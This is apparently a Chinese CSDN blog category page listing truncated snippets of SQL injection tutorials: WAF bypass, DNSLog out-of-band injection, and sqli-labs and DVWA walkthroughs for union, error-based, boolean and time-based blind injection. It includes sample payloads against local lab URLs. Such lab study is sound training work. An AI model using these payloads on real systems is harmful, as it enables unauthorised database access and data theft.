![](https://img-blog.csdnimg.cn/20201014180756919.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
sql 注入
文章平均质量分 60
两小姐的便利贴
安服小小小小小小小小白
展开
-
Sql注入--Waf绕过姿势
前言waf(Web Application Firewall)全称为“Web应用防护系统”,通俗的讲,waf的目的是过滤请求包,正常来讲访问一个网站不会拦截你的请求包,如果你的请求包内带有一些参数会危害到网站,waf此时就起到了作用。waf算作代理防火墙中的一种。0x00 环境准备在这里利用phpstudy搭建一个sqli-labs环境,下载的sqli-labs安装包放至D:\phpstudy\PHPTutorial\WWW目录开启phpstudy,访问成功接下来在主机下载一个网站安全狗a原创 2021-12-31 11:41:50 · 721 阅读 · 0 评论 -
DNSLog注入
DNSLog注入原理在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请原创 2022-01-13 17:46:29 · 4160 阅读 · 0 评论 -
sqli-labs 通关教程 Less 15、38-45 (堆叠注入)
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。 堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持...原创 2021-12-09 09:29:57 · 183 阅读 · 0 评论 -
sqli-labs 通关教程 Less 9 (时间盲注)
利用正常的语句测试没有任何效果http://127.0.0.1/sqlilabs/Less-9/?id=1http://127.0.0.1/sqlilabs/Less-9/?id=1'-- -数据完成交互后目标网站没有任何的页面回显,这个时候可以使用时间盲注。http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(1=1,sleep(3),1)-- - //沉睡http://127.0.0.1/sqlilabs/Less-9/?id=1 a.原创 2021-12-08 16:31:58 · 2672 阅读 · 0 评论 -
sqli-labs通关教程 Less-5 and Less 6 (报错注入、布尔盲注)
0x00 根据updatexml报错updatexml使用方法and updatexml(1,padload,1)获取库名http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+查看表名http://127.0.0.1/sqlilabs/Less-5/?id=-1' and updatexml(1,concat(0x7e,(...原创 2021-12-08 10:45:13 · 2554 阅读 · 0 评论 -
sqli-labs 通过教程 Less-4
判断注入类型注入类型为")字符型查找回显点http://127.0.0.1/sqlilabs/Less-4/?id=1") order by 3--+http://127.0.0.1/sqlilabs/Less-4/?id=1") order by 4--+ 回显点为3查看可存放位置http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,3-- -查当前数据库名http://127.0.0.1/sqlila...原创 2021-12-03 16:27:16 · 1299 阅读 · 0 评论 -
sqli-labs 通过教程 Less-3
判断字符类型(字符型)$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";查看源码发现,正常情况是id=$id,在这里我们制造闭合需要构造'),因此闭合时使用')或者我们输入id=1'查看报错信息以下均同理查找回显点http://127.0.0.1/sqlilabs/Less-3/?id=1') order by 3--+http://127.0.0.1/sqlilabs/Less-3/?id=1') order..原创 2021-12-03 15:35:46 · 668 阅读 · 0 评论 -
sqli-labs 通关教程 Less-2
区分类型(数字型)http://127.0.0.1/sqlilabs/Less-2/?id=1 and 1=1http://127.0.0.1/sqlilabs/Less-2/?id=1 and 1=2查找回显点使用二分法,确定回显点,首先试6,没反应,试3,有反应;试5,无反应,试4,无反应。可以确定回显点为3http://127.0.0.1/sqlilabs/Less-2/?id=1 order by 3查看存放位置http://127.0.0.1/.原创 2021-12-03 14:19:57 · 871 阅读 · 0 评论 -
DVWA之SQL Injection(含SQLMAP使用)
DVWA之SQL Injection判断是否存在注入的方法:在输入框输入 1’Select * from xxxx where id =1’Select * from xxxx where id =’1’’无论是整型还是字符型此时都会报错,说明存在注入点一.等级:LOW(一)分类1.整型测试如下:此时界面结果显示一致,说明并非整型select * from xxx where id=1 and 1=2若为整型,说明sql语句不成立,会报错2.字符型在输入框输入“1’ an原创 2021-03-21 22:52:32 · 378 阅读 · 0 评论 -
DVWA 之 SQL Injection (Blind)
SQL盲注方法:① 基于布尔的盲注② 基于时间的盲注③ 基于报错的盲注1.基于布尔的盲注这里我们先进行基于布尔的盲注,以等级为low举例同sql注入一样,首先判断注入类型,利用二分法判断数据库名称的长度,判断数据库名称的字符组成,猜解数据库表名(1)判断数据库名称的长度(假设这里为整型注入)1’ and length(database())>10 # missing…直到出现exists,得出数据库名称长度(2)判断数据库名称的字符组成1 and ascii(substr(da原创 2021-03-23 17:19:42 · 143 阅读 · 0 评论